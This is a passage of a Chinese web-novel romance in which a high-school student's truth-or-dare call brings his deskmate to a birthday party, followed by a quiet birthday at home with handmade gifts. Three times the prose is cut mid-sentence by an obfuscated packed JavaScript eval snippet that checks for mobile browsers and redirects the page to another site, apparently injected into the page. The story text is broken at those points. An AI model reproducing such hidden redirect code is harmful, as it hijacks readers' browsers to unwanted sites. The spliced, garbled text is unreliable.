“呃……”阮牧年握着手机犹豫了几秒,“行吧。” 前同桌:“我还挺好奇牧年列表里的第一位是谁呢,毕竟大家现在很少交换电话吧,都是用聊天软件。” 大家好奇的目光全都聚焦到他身上。 阮牧年深吸一口气,缓缓按开通讯录页面。 第一位联系人一眼就能看见。 【AJY】 “AJY……?好神秘的备注,”刘嘉摸着下巴,“居然还是A开头,难怪排第一。” 阮牧年拨了电话,开启免提。 电话很快被接通。 没等对面开口,阮牧年连忙先发制人:“晚、晚上好,你待会儿能不能……来接我?” 所有人都在静候那边的回答。 没过几秒,一道被电磁修饰过的冷淡声音响起。 “定位发我。” 等等,这答应得也太快了吧? 众人面露震惊。 阮牧年抬头用眼神询问其他人的意见,班长摇了摇头,用口型说这还不够明确,不能算答应。 他只好再确认一遍:“你要来嘛?” 对面顿了顿,反问:“你喝酒了?” 阮牧年一愣,这都能听出来? “呃、呃,”这不在要求范围内啊,桑群怎么还不答应他,“一点点啦,不是很多。” “哦,”桑群没有多话,“定位发我吧,你待在原地别乱走。” 说完,就把电话挂了。 阮牧年捧着手机发愣。 包间内差点炸了。 “这算答应了吗?算吧,”刘嘉抱头,“人家都要过来了……” 班长:“这人谁啊,声音听不太出来,牧年你要不跟人家解释一下……” 体委压低声音:“我说有没有一种可能,我是说可能也许大概……你们不觉得这声音很像六爷吗?!” 其实他一听到就觉得是桑群,AJY、阿君羊,哪儿有这么巧的事! 牧年和六爷的猫腻终于要在今天揭晓了吗? 他这话一出,全包间忽然静了下来。 大家齐齐将目光投向低头敲手机的阮牧年。 阮牧年刚把定位发过去,余光瞥见他们的眼神,讪笑了一下。 “啊哈哈,”他不着痕迹地往后蹭了一下,“别、别这样看着我嘛。” “牧年,你说,”刘嘉咽了咽口水,有点难以置信,“这位联系人不会我们都认识吧……” 阮牧年:“呃。” 班长眯起眼:“咱们班的?” 刘嘉同桌抖了抖身子:“冷淡风的??” 体委捂住了脸:“坐你旁边的???” 阮牧年:“……” 你们干脆直接报桑群身份|证|号得了。 哪怕确认过,大家心里还是有些震惊。 无数疑问萦绕心头,牧年跟他同桌关系这么好?二话不说就过来接人?六爷看着对什么事都不关心,怎么偏偏这么细心地察觉牧年喝了酒?牧年把备注改成六爷ID首字母是故意的还是无意的? 每个人心里都油生众多好奇与八卦,恨不得找寿星问个明白。 没过多久,包间门传来笃笃的声响。 他们还没来得及去开门,访客自己推开了门。 桑群一抬眼,就看见了十几张熟悉或不熟悉的面孔用怪异的眼神看着他。 “……” 走错门了? 他往后退了一步,想再看看门牌号。 席位正中一个白纸条人扬起胳膊挥了挥手,招呼他:“桑群,这!” 阮牧年把脸上的白条掀起来,冲他不好意思地笑了笑。 桑群:“……” 不是,看他们这架势,根本没散场吧?那为什么打电话叫他来接? 桑群合上门,硬着头皮走进来,在阮牧年面前站定:“……你怎么变成这副鬼样。” 阮牧年往旁边挪了挪,推了推刘嘉的肩膀,让他给桑群让出一个位置:“我……我输了好多局游戏,这是惩罚。” 桑群不是很想坐下,现在的场景他不知道该怎么应付,只好干站着,在心里搜刮开场白。 “……晚上好。”他对在场的其他人点了点头。 李2棒:“六爷,没想到真是你啊,太让人意外了。” 班长点点头:“刚才牧年抽了大冒险牌,要给通讯录的第一位联系人打电话。” 原来如此,他就说阮牧年的声音怎么有点奇怪。 刘嘉嘿嘿笑了两声:“六爷你坐嘛,我们还没结束呢。” 什么,还没结束? 阮牧年直接拉住他的手腕,把人拽下来:“坐吧坐吧。” 桑群一屁股摔到他旁边。 ……他有拒绝的权利吗。 “呃,六爷,”体委拿着牌有些犹豫,“你……吃点什么喝点什么?桌上都有,或者也可以跟我们一起玩。” 桑群:“哦。” 旁边的寿星给了他一肘击。 桑群皱了皱眉,改口道:“我来杯……雪碧吧。” “好的好的,”饮料瓶子就在手边,体委连忙抽了个纸杯出来,“我给你倒。” 见包间内的氛围有点僵硬,前同桌探过身子跟他打招呼:“哈喽六爷,听说你现在跟牧年同桌嘛,我是他上学期的同桌哈哈。” 桑群点头:“哦。” 寿星又掐了他一把。 桑群眼角一跳:“你……好。嗯,真巧。” 前同桌干笑两声,社牛多年第一次遇到如此劲敌。 还有人想跟他打招呼,阮牧年压了压桑群的肩:“好了好了,他也不爱说话,我们继续刚才的吧?玩到哪里了?” 气氛这才重新活跃起来。 桑群靠在座位上,看阮牧年兴高采烈地跟其他人比来比去,最后输了一脸白条回来。 他喝了口雪碧,借着杯子遮掩勾了勾唇角。 小笨蛋。 “哎,不行了不行了,”阮牧年趴在桌上,“我不想再喝了,也不想再抽牌了……你们对寿星好一点啊。” 班长:“愿赌服输。” 刘嘉:“我们已经给寿星破例了啊,你看除了你谁脸上还有白条?” 阮牧年咬了咬牙,看着放在桌上的酒杯,刚要下定决心,杯子忽然被另一只手拿走了。 一直沉默不语的桑群拿过杯子,一饮而尽。 在座的还没人有过这么豪放的喝法,顿时都有点呆愣。 阮牧年也定定看着他,后知后觉桑群这是替他挡了惩罚。 他刚想说点什么,就见桑群垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356324|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼看着他,嘴里吐出两个字:“废物。” 阮牧年:“……” 这不对吧?难道不应该安慰他一下吗? “比大小也能输。”桑群又补了一刀。 阮牧年恼羞成怒:“你行你上!” 桑群点头:“哦。” 几分钟后,轮到体委开始怀疑人生了。 “这不对吧?怎么可能……”体委抱着头趴在桌子上,“难道六爷你是透视眼?怎么会猜得这么准?” 桑群掀开盖子,推到他面前:“不是。但你又输了。” 体委发出哭嚎:“啊——” “我不行了,小嘉儿你上。”体委给刘嘉让位。 刘嘉摩拳擦掌:“来嘞。” 不久后,刘嘉:“……我走了,李子交给你了。” 李子:“没事,我给你们报仇。” 李子:“……我根本不是六爷的对手,班长靠你了。” 班长:“不是吧,六爷你这么深藏不露?” 班长:“……甘拜下风。” 桌边对手来来去去,只有桑群岿然不动。 到最后体委受不了了:“不行不行不行,六爷绝对开挂了!我们换个游戏!” 又过了十几分钟。 桑群支着脑袋看对面一片哀鸿遍野,回头问阮牧年:“就这,你也能输给他们?” 其他人:“……” 阮牧年挠了挠头:“我比他们更菜啊……” “哦,”桑群说,“赢了这么多局,能把白条都拆了吧。” 阮牧年摸了摸自己的脸,啊了一声:“你刚刚都是……帮我赢的?” “不然呢,”桑群理直气壮道,“我没那么无聊。” 体委输后抽到了背人俯卧撑的牌,到现在还手臂酸软:“六爷你过分了啊……” 经过众人决议(寿星和挂王除外),阮牧年和桑群暂时被剥夺了游戏资格,他们想感受一会儿正常人之间的游戏体验。 “是你们先区别对待的。”被挤出c位后,阮牧年气鼓鼓道。 “是我们太小看你了,以为你叫来的只是同桌,”体委心有余悸,“没想到是个大佬。” 桑群在角落找了两把椅子:“阮牧年,过来。” 阮牧年在他对面坐下:“来啦。” 桑群伸出手,示意他头低下来一点。 阮牧年把脸凑过去,白条贴得有点久了,撕下来的时候带着皮肤,有点疼。 他没过几秒就开始嘶嘶怪叫。 桑群不得不停下手:“疼?” “嗯……有点,你撕慢些。” 桑群无奈地叹了口气,更靠近了一点,另一只手捧着他的脸,指腹按在白条边的脸颊上,那小块肉凹陷进去,露出没贴紧的纸条边缘。 这样撕效率更高了,也不会太疼,就是…… 阮牧年偷偷睁开眼睛,桑群的脸近在咫尺,正专注地盯着他。 好近啊。 等白条揭开,他们就能呼吸相扑。 也不是第一次靠这么近了,怎么心里慌慌的,难道是因为挨近的时间太长了吗。 又或许是因为现在并不是只有他们两人的空间,不远处就是热闹的同学们,只要有人转头,就能看见他们亲密的动作。 也能看见……亲自来接他、为他赢下游戏的桑群正在亲手帮他拆白条。 他好像明白了,心间翻涌的情绪原来是占有欲外溢的隐隐兴奋。 眉上的纸条被撕掉了,阮牧年毫无阻碍地看清了面前的桑群。 但没看几秒,就被人轻轻刮了下鼻尖。 桑群低声:“闭眼。” 阮牧年眨了眨眼,不知是不是酒精的作用,他今天好像格外大胆一些:“不能看你吗?” 桑群顿了下手,对上他的视线:“……是怕你变成斗鸡。” 阮牧年:“……” “斗鸡怎么了?”阮牧年瞪了他一眼,“寿星今天就对眼儿了,你最近小心点,晚上睡觉也不要闭眼。” 桑群闷嗤一声,捏了捏他的脸蛋:“炸药包。” 阮牧年恶狠狠道:“炸的就是你!” “好吧,”桑群呃了一声,“我被炸伤了,寿星赔我点钱吧。” 阮牧年皱眉:“你这是碰瓷。” 桑群:“你故意伤害。” 阮牧年一时没想出什么话回他:“我……” “先别说话,”桑群的手指按到他唇边,“这张纸条可能会有点疼……” 疼不疼不知道,好像有点热。 带着薄茧的指腹一直在柔软的唇上摩挲,桑群常年泛凉的手指今天居然有点温热,在他脸上轻轻地蹭来蹭去,存在感很强。 最后一点粘胶被扯掉后,阮牧年倒吸一口气,抬眼骤然对上桑群的目光。 难道对方一直在看着他的眼睛吗? 每撕完一张纸,桑群都会往后撤开一点,这次却没有。 阮牧年有点看不懂他的眼神,可能喝酒会让人变迷糊吧,他居然感觉桑群在继续靠近他。 他们已经很近了。 还要再近吗? 就要碰上了…… 脑子有些转不过弯,阮牧年定定地看着那双黑沉的眼眸。 都能看见自己的倒影了……好呆啊。 就在他满脑子胡思乱想的时候,旁边传来班长惊讶的声音。 “你们在干什么?” 47. 47 闻言,两人不约而同地扭过头去。 却见班长正叉着腰质问另外两个玩闹过程中踩到她背包带子的同学。 “……” 压根没人注意角落里的他们。 杯弓蛇影。 阮牧年有些尴尬地回头,两人的距离没变,现在后撤还是凑近好像都不太合适。 就在他思绪纷乱的时候,桑群搭上他的肩,耳尖擦过他的脸颊,往他后颈轻轻吹了口气。 随后桑群直起身,声音微哑:“有飞虫。” “哦。”阮牧年点点头,看着他感觉后颈烫烫的。 桑群也看着他,眼神有一点暗沉。 阮牧年觉得氛围好奇怪,前所未有的奇怪,他头一回不知道该说点什么缓解僵局,而桑群更不会说话。 太不对劲了,不就是凑得近些,为什么会觉得不自在呢? 而且……桑群一直在帮他拆纸条,怎么会注意到后面的飞虫? 这明显是个台阶。 可桑群这么说的目的……阮牧年不敢问,也不敢想。 仿佛开口就会得到某个他不愿意面对的答案。 果然还是酒喝太多了吧,变得过分敏感多疑。 阮牧年抿了抿唇:“……撕完了?” “没,”桑群似乎也才从愣怔中回神,又伸手过来,“下巴上还有一张……” 阮牧年连忙抬手:“最后一张了?那我自己撕吧。” 桑群的手顿在空中,阮牧年一急没注意力道,撕掉了才发觉下巴的皮肤火辣辣的疼,登时皱眉捂脸缩了下去。 上方传来一声无奈的叹息,一只手伸过来轻柔地帮他揉着皮肤痛处。 “急什么,”桑群扶着他的脸说,“小恶魔。” 阮牧年闭着一只眼看他,眼眶里还有隐约的水光:“不是小魔鬼吗?” “魔鬼太丑了,”桑群说,“你还是当有犄角和翅膀的小恶魔吧。” “我是小恶魔,那你是什么?”阮牧年问。 桑群:“你觉得我是什么?” “你不能是小天使啊,不要跟我做敌人。” “好,”桑群摸了摸他的脸,道,“那我就当你手里的小叉戟好了。” “诶这个好,”阮牧年笑了笑,“一起做坏事嘿嘿。” 撕完白条,两人躲在角落品味起餐桌上还没喝完的饮料,直到散场都没怎么说话。 大家要么有人接,要么打车回去,在饭店门口一一作别。体委最后走,问他们:“你们咋回去啊?” “打车吧。你先回去,注意安全,到家了报个平安。”阮牧年说。 体委有点醉了,平时只敢心里猜测的话没经思索就蹦了出来:“你俩一辆车?” 阮牧年:“呃……” 桑群站在他旁边:“嗯。” “我说,牧年、六爷,这里也就我们三个人……”体委说得有点慢,但吐字还算清晰,“我一直很想问,你们……是不是住一起啊?” 什么。 两人都怔了片刻,桑群率先反应过来,反问:“谁说的?” “谁说的?”体委被问懵了,“谁说的……是啊谁说的?” 什么啊,原来是醉了。阮牧年放下心来,拍了拍他的肩:“好了好了,别乱想了,看看车到了没,先回家睡一觉吧。” “啊哦哦,好像快到了,”体委晕头转向地转了两圈,“哦!在那边,到了到了,那我先走了……” “我们跟你一块过去吧,你别摔路边了。”阮牧年担心地说。 “害!没事儿,我高璋谁啊?千杯不醉!”体委哈哈大笑,步子倒是稳健,“我走了!你们注意安全啊。” “行吧,”看他没有左摇右晃的,阮牧年就放任他去了,“拜拜!” “拜拜!” 等送走了同学们,路边只剩下他们。 “怎么回去啊,”阮牧年扭过头问,“骑车吗?” “骑自行车也算酒驾吧,”桑群说,“还行么,可以的话就走回去,难受的话就叫车。” “我为什么会难受啊,”阮牧年笑了笑,“我也没喝多少。” “抽牌之前好像一直在喝?” “那、那个不算,”阮牧年心虚地别过脸,“再说了度数也不高,我可没醉。” “醉了的人都喜欢说自己没醉。”桑群说。 “这话不对吧,”阮牧年反驳,“那真的没醉的人说实话,也得被当成醉了?” “取决于听这话的人愿不愿意相信他。” “那你愿意相信吗?” “你猜。” “这还用猜?你肯定相信我。” “那不一定。” “嘿,你这家伙……” 桑群侧身躲过炸毛寿星的抓挠攻击,嗓子里闷笑一声,抓住他的手腕。 “走了,回家。” “哼,先不跟你计较,回家看看你的诚意。” 那必定是诚意满满。 推开屋门,里面一片漆黑。 桑群跟在他身后合上门,低声说了句:“别开灯。” “哦哦,”阮牧年站在玄关,扶着旁边的墙,“好黑啊,你快点。” 桑群摸到厨房,掏出打火机点了根蜡烛,四周勉强亮了起来,他捧起蛋糕走出来。 阮牧年一眼就看见了他端的蛋糕,巧克力慕斯,最上面一层捏着丑萌丑萌的小熊脑袋和两个小人脑袋,一片薄薄的白巧克力斜插着,上面的字有点看不清,但肯定是祝福语之类。 “哇,”阮牧年跟着他走了两步,“一般捧蛋糕出来要放生日歌啊,音效呢?” “没有,太蠢了,”桑群小心地端着蛋糕,“你自己脑补吧。” 阮牧年笑了:“你怎么这样嘛。” 他倒是想起来,之前有次他缠着桑群用团团声线唱生日歌,还录了视频,自此之后,桑群誓死再也不给他唱生日歌了。 阮牧年坐到沙发边,屋里只有面前这一盏烛火的光亮,昏黄的,有点温馨。 “今天是我的一岁生日嘛?”他看着那一根蜡烛问。 “十八,”桑群说,“你想吃筛子蛋糕吗?” “好吧好吧,”阮牧年勉强原谅了他在蜡烛上的敷衍,“接下来干什么?” “闭眼许愿,吹蜡烛,”桑群把手机掏出来,给他放背景音乐,“你只有一首歌的时间。” “怎么还带限时的呀。”阮牧年失笑,在前奏响起的时候连忙开始许愿。 许什么愿望呢? 好像没有什么需要向神明索取的,他想要的会靠自己努力得到,他不该得到的,也早就明白无需费力期盼。 好久好久以前,他每年都要许愿爸爸妈妈和好,他们一家子重新变得整整齐齐、快快乐乐的。 现在已经不会了。 他有了自己新的家人,也有了与以前不同的生活。 那就…… 愿望在心里勾勒出轮廓,音乐也正好接近尾声,阮牧年睁开眼,鼓起腮帮吹向蜡烛。 “呼——” 烛火熄灭,无声的心愿在黑暗中循着流风吹向远方,静待未来生根发芽的某天。 音乐停下,客厅的灯被按亮,桑群抱着团团囊囊走过来。 “哇,”阮牧年睁大眼睛,“囊囊什么时候有小内裤了?” “之前做的,”桑群把玩偶们递给他,“不知道它什么品种,衣服还没想好。” “给它织条小粉裙呗,”阮牧年摸了摸两个宝贝的毛绒脑袋,“我们囊囊一定是最漂亮的公主。” 那不一定,年年公主坐这儿呢。 桑群在他旁边坐下:“先吃蛋糕还是拆礼物?” “看看礼物吧,”阮牧年分了他一只玩偶,说,“刚刚汽水喝得有点撑,我们晚点吃。” 桑群点头,看着他:“那我开始了?” “开始吧,”阮牧年也点头,见他从裤兜里掏出熟悉的纸叠,还是忍不住吐槽,“都这么多年了,你就不能换张纸吗?” “原版的才有纪念意义,”桑群把纸小心打开,它边缘早已泛黄,格子也褪色了,“放心,我保存得很好。” “好吧好吧。”阮牧年把脑袋搭在囊囊头上,等待即将开始的朗诵节目。 桑群看了他一眼,坐直了些,清了清嗓子:“最难忘的一天……” 一开头阮牧年就想笑。 “大家好,我是一年1班的阮牧年……”桑群又念了一句,抬头瞪了他一眼,“你严肃点。” “哎哎,班级也得改了啊。”阮牧年纠正他。 “啧,”桑群重新念了一遍,“大家好,我是高二3班的阮牧年。今天是我最难忘的一天,因为今天是我的18岁生日……” 随着作文展开,阮牧年渐渐安静下来听他念。 桑群嗓音那股常展现在外人面前的冷意早已消散,取而代之的是低沉声调里的温柔与溺爱。 今天是我的18岁生日。 我非常开心,在这个重大的日子,我度过了非常难忘的一天。 早上,我一起床,我的好朋友团团就在床边跟我打招呼,祝我生日快乐。 我走到餐厅,妈妈端上一碗长寿面,夸我又长大了一岁。 爸爸坐在沙发里看报纸,看到我起床后也笑着祝福我,离成熟稳重的男子汉越来越近啦。 我谢谢爸爸妈妈的祝福,抱着团团走出家门。门口,另一个小男孩正在等我。 他是我最好的朋友,叫做阿君羊。 阿君羊非常酷,也非常厉害,我特别想要变得像他一样厉害。 阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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每年,阮牧年都会收到一个蓝色的礼物盒;一开始他的生日蛋糕是桑群攒了好几周的钱去蛋糕店买下来的,可那上面没有小熊和小人,后来桑群学会了自己做蛋糕,虽然品相不是很好,但也能一步步还原他作文里的样子。 再后来,他所期待的爸爸的、妈妈的、阿姨的、团团的礼物一点一点增加。 每一次送出礼物之前,桑群都会将这篇作文拿出来,念给他听,告诉他那些愿望又被实现了多少。 听了这么多年,那些酸涩和委屈早已变成幸福。他不会再为此流泪,因为有人会竭尽全力让他喜笑颜开。 桑群收起作文,从身后掏出一个盒子,放在团团的爪子里递给他。 盒子是棕色的,这是团团的礼物。 阮牧年接过盒子:“谢谢团团。” “拿好了,”团团抱起爪子说,“这可是我精心准备了好久的礼物,笨蛋年年今年不准再哭了,知道吗?” “我本来也没有哭呀,”阮牧年笑了笑,“我会好好收下的,团团。” 桑群清清嗓子,对他抬了抬下巴:“看看后面。” 阮牧年扭过头去,沙发抱枕底下藏着一个小盒子。 “这是谁的?”他问。 桑群说:“这是你妈妈送你的礼物。” 妈妈啊,今年跟妈妈见过面,却闹得很不愉快,但桑群还是准备了她的礼物,阮牧年把盒子拿过来收好,又问:“还有呢?” 桑群:“茶几底下。” 茶几底下放的是爸爸的礼物,他又在书桌抽屉里找到了桑群妈妈送的礼物。 只剩下桑群的礼物了。 那个蓝色盒子。 桑群往沙发上一靠:“自己找吧。” “啊?”阮牧年皱眉,“今年连提示都没有吗?” “这房子又不大,”桑群躺着看他,“慢慢找,不难。” 行吧,阮牧年开始像寻宝鼠一样四处探头。 房子被桑群收拾得很干净,也减少他翻箱倒柜捣乱的机会。 几乎把屋子翻了个遍,也没见到那蓝色盒子。 “没有啊,”阮牧年重新站到桑群面前,质问他,“你到底藏哪儿去了?” 桑群:“你再找找呢?房间还没找全呢。” 什么啊,只剩厨房和厕所了,难道真在厕所里?桑群今年玩味儿这么大的吗? 阮牧年草草扫了一眼厕所,绝对没有,又跑去厨房看。 刚才蛋糕就是从厨房端出来的,他打开冰箱看了看,又按开厨房电灯。 灶台下的橱柜开着一条小缝。 阮牧年掀开一看,果然藏在里面。 蓝底流金的包装纸,扎着一朵黄色的礼花,一块小卡片垂下来,上面写着几个字。 阿君羊哥哥赠。 48. 48 所有的礼物盒都已经找到,阮牧年把它们抱到沙发上一字排开,横在自己和桑群中间。 桑群侧靠在沙发把手上,挑了挑眉:“可以开始选妃了,年陛下。” “你怎么说话的呢,”阮牧年撇了撇嘴,“这些我全都要。” “行吧,”桑群起身先把蛋糕盖住,又坐回来,“那您想先翻谁的牌子呢?” 寿星大王思索片刻,选择先宠幸团爱妃。 “哦豁,本熊的礼物可是超级酷炫的,”团团从桑群腿上蹦了一下,“人类你很有眼光。” 阮牧年忍笑抬眼看了眼桑群,对方的唇正好被跳起来的团团挡住,露出的双眸正经无比。 桑群把团团放下:“担心弄坏?我帮你拆。” “没,我慢慢拆,”阮牧年赶紧低头护住自己的礼物,“你抱好团团,它今天有点过于兴奋了,别又摔断腿。” 桑群:“哦。” 团团:“喂喂,怎么都不盼熊点好啊。” 拆了这么多年礼物,桑群的包装手法他早就熟悉,很轻松地将包装纸完好无损拆开。 掀开礼物盒,里面躺着两件针织品。 阮牧年拎起来一看,两只可爱的针织帽出现在手里。 帽子一大一小,他迟疑地看向对面:“……两顶?” “没错,其中那顶由宇宙超级无敌浪漫丝线辅以金纹装饰的高级宴会级别礼帽——就是本熊的!另一顶有点大、还挺好看的是你的,年年。”团团得意地说。 “呃。” 阮牧年拎着两顶帽子转了一圈,没看出它们图案上有什么天壤之别。 桑群捂住团团的嘴,用平静的嗓音道:“是亲子帽,花纹做对称的,戴上试试看。” 阮牧年将自己的那顶帽子捧在手里摸了摸,触感很舒服,不会特别毛躁,戴起来软软的,帽口有很舒适的调整空间,也不扎头。 桑群这些年的手艺越来越好了。 “好舒服呀,暖暖的,冬天戴正合适,”阮牧年晃了晃脑袋,想去给小熊戴上帽子,“来,团团我给你也戴上。” 桑群挡了他一下,先一步把那只小号的针织帽套在了小熊脑袋上。 “阿君羊!你这家伙怎么能这么粗暴地对待本熊的礼帽!” “闭嘴吧,你很吵,”桑群说完,又抬头对阮牧年说,“好看,以后冬天风大就戴着出门,不要嫌麻烦。” 阮牧年正要点头,就听团团的声音又响起:“那我呢那我呢?” “你戴着也凑合。”桑群说。 团团怒了:“阿君羊你这家伙!太惹熊讨厌了!” 阮牧年连忙把帽子摘下来,担忧地看向面前的一人一熊——他时常担心桑群这样下去会不会人格分裂…… “好了好了,我们看看第二样礼物吧。”他出言打断对面互瞪的人熊。 第二样是桑群妈妈的礼物,里面装着一件小礼服,居然能跟团团的帽子搭配上。 阮牧年看了看衣服,又看了看桑群:“这是……阿姨做的吗?” “是,”桑群点头,毕竟这是唯一一件没经他手的礼物,“我织帽子的时候她闲得没事干就过来帮忙了,正好团团的旧衣服该淘汰了,她就做了这个。” 说起团团,初三时它曾因为那件事断了一条腿,棉絮纷飞,衣衫破烂,阮牧年将它托付给桑群保管,还以为这辈子再也见不到它。 但前不久,桑群就将填好了棉、补好了腿的团团重新带到他面前,现在还准备好了新的衣装。 团团是母亲当年离开时留给他唯一的念想,是他童年最稚嫩的期盼,也是他蹒跚走过这些年的见证。 它不过是个玩偶。 而桑群赋予了它生命,躯体、声音、装扮,无一不是。 “是本熊的新衣服吗,”见他看着礼物不语,团团开口,“似乎与我的宇宙级礼帽是绝佳搭配,年年,为本熊穿上吧。” 阮牧年嗯了一身,久违地打扮他童年的玩伴,套上小短袖、小短裤,再系上袖珍小纽扣,最后替它正了正帽子。 “好看,”阮牧年笑了一下,声音有点哑,“团团……你是今天最帅的小熊。” 团团却说:“今天是好日子,不要哭呀年年。” 桑群看着他,又说了一遍:“不要哭。” 阮牧年拍了拍脸,嘴硬道:“我才没哭呢……拆礼物拆礼物。” 第三个礼物摸到手里,阮牧年拆到一半才想起这是妈妈的礼物。 虽然不是妈妈自己送的,但他有点想象不到桑群会替他准备什么样的礼物。 盖子打开,里面躺着今天的第三件针织品——一条围巾。 浅烟蓝色,尾端有几条灰色条纹,一边坠着一排毛线流苏,用白色的塑料球环扣着,翻到里面,边角小小缝着三个字母,是他的名字。 冬天快到了,一般这时母亲们会开始唠叨,叮嘱儿女天冷添衣……这是桑群理解的母爱,也是他为阮牧年弥补的母爱。 将团团暂时放到旁边,桑群倾身过来,低声道:“我给你戴上。” 阮牧年抬起脖子,柔软的织物轻轻缠绕上来,一圈一圈,将他颈部上下裸露的皮肤全部包裹住,一低头还能把下半张脸埋进去。 桑群的手指修长灵活,将围巾尾端绕了一下固定住,再垂下那挂着流苏的一端,模样既暖和又好看。 指尖抚在围巾末端的灰纹上,桑群就着这样的距离微垂眉睫,轻声告诉他:“可以跟帽子一起戴。” 客厅顶灯的光跌落在桑群发梢,与刚才在包间中不同的是,局促的尴尬减少了许多,取而代之的是独属两人之间那心照不宣的暖烘烘的氛围。 用任何词都难以形容,好、喜欢都太庸俗,阮牧年看着他想,如果一定要说,只能是暖。 这些礼物……以及桑群的目光。 像烧着柴火噼啪作响的壁炉。 “怎么呆住了,”桑群刮了刮他的鼻尖,“感受好了吗?现在还不冷,再捂一会儿该出汗了。” 阮牧年回神:“嗯……嗯,舒服,好暖和,你的针线活儿已经到大师级别了吧?” “哪有,”桑群帮他把围巾摘下来,“总是被我妈挑刺。” “阿姨那是神仙级别的呀,你比不过她很正常,”阮牧年笑了笑,“我是觉得……桑桑,说不定以后你可以举办自己的服装展呢?” 桑群怔了一下,前几天王叔也说过类似的话。 会吗?这是个他从未想过的问题。 眼下也不适合深思,桑群把围巾叠好,道:“再说吧。接下来看哪一件?” 阮牧年不舍得拆那个蓝色的盒子,于是将毒手伸向爸爸的礼物。 比起妈妈的礼物,桑群很少会准备爸爸的礼物,除去外界因素,更多的原因是这份礼物实在令人没头绪。 父亲对于阮牧年来说是一个遥远的概念,即便是在对方再婚前,他们也几乎没见过面。 之前,桑群曾照葫芦画瓢送了他一只路边摊一块钱一个的塑料表,拍到手腕上就会自动卷起来……但很显然,它作为父亲的礼物来说有点滑稽。 随着盒子打开,阮牧年看清里面的东西后,明显愣了一下。 这份礼物……居然是一双运动鞋。 可以看出做工很精良,鞋的外侧还有非常潮流的字母图案“N”,鞋带是他喜欢的浅蓝色。 “你……”阮牧年难以置信地看了他一眼,“这个是……阿冒?还是……花了多少钱啊?” 虽然桑群不是没送过直接购买的礼物,但是一双鞋的价格还是超出了他对礼物的预期。 “不是,”桑群把鞋子拿出来放到地上,下午刚出厂的鞋子上还有一股没散的味道,“不是任何品牌,只是以一副兼具舒适度和功能性的模板做出来的而已,虽然确实为其中40%的工艺付了点钱。” “你你、你做的?!”阮牧年瞪大了眼睛。 桑群颔首,替他拉开鞋带和前帮:“穿上试试?” 阮牧年边穿,边思维混乱:“我的天啊,桑桑你是哆啦A梦吗?这个真的是……我完全没想到……” 桑群帮他系好鞋带,拍了拍他的腿让他站起来走两圈,然后说:“以后遇到板鞋不合适的情况,就不用委屈自己了。” 阮牧年蹦了两下,听懂他说的是那天跑一千米的事。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356326|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那时候,他破天荒地翻出那双运动鞋,穿去了操场。 那双运动鞋是他父亲再婚那年送他的生日礼物,是第一次、也是唯一一次收到过的来自父亲的礼物。 但那礼物实在敷衍,当时阮牧年还在长身体,他爸拿不准鞋码,就挑了款最大码,美曰其名长大以后就可以穿了。 那双鞋是名牌,很贵,也很好看。等鞋码固定下来,大小也大差不差,阮牧年却从来没穿过一次。 在他仅有的关于父亲的记忆里,父母的争吵总是始于父亲的埋怨,终于母亲的歇斯底里。母亲会紧紧地抱住他,但父亲永远只会站在她的对面,用那张刻薄的嘴脸翕动唇舌。 他对父亲的印象算不上好,可那双鞋是他与后者唯一的联系,所以他舍不得扔掉。 体育中考后,阮牧年没再买过运动鞋,之前的鞋码对现在的他来说偏小,好在高中对体育的要求不高,板鞋也能凑合应付,他也就没再给自己添置过运动鞋。 如果桑群买了双鞋给他,他可能会拒绝,可偏偏这是一双由桑群参与制作的运动鞋。 阮牧年从茶几那边绕了回来,鞋很舒适,大小也正好,但他的心软得一塌糊涂,站在桑群面前:“桑桑,我好想抱你。” “急什么,”桑群拉了拉他垂在身侧的指尖,叫人坐下,“还有最后一件礼物。” 精致的蓝色盒子里,装着阿君羊送给他的礼物。 这盒子的大小比其他的礼物都要小一些,阮牧年小心翼翼地拆开,动作慢慢的。 桑群看了他一眼,嗤笑:“里面可不会冒金光。” “你懂什么,这叫仪式感。”阮牧年咕喃道。 盖子掀开,虽然没有冒金光,但还是让阮牧年的瞳孔震了震。 “这是什么?”他伸手把里面的东西拿出来,“手办?玩偶?” 摸起来毛茸茸的,样子有点像他之前遛过的隔壁叫做宝宝的白土松。 桑群的手伸过来,覆在他手背上,带着他把小狗翻过来:“底下有个魔术贴,你试着粘到衣领上。” 阮牧年哦了一声,夹着脖子开始操作,期间不小心一用力,居然把小狗捏响了。 “汪嗷!汪汪汪呜!” 阮牧年差点吓了一跳:“它还能发声啊?” 桑群点头:“我设置了三段音频,听腻的话,还可以换。” “捏了就会响吗?”阮牧年问。 “对,第四次就重新从第一条开始放。” 阮牧年捏了一把小狗。 “轻点,”那里面居然响起了桑群的声音,带着无奈和宠溺,“乖,我在呢。” 阮牧年呆住,好半晌才抬头看向对面:“你……你怎么放这种东西啊。” 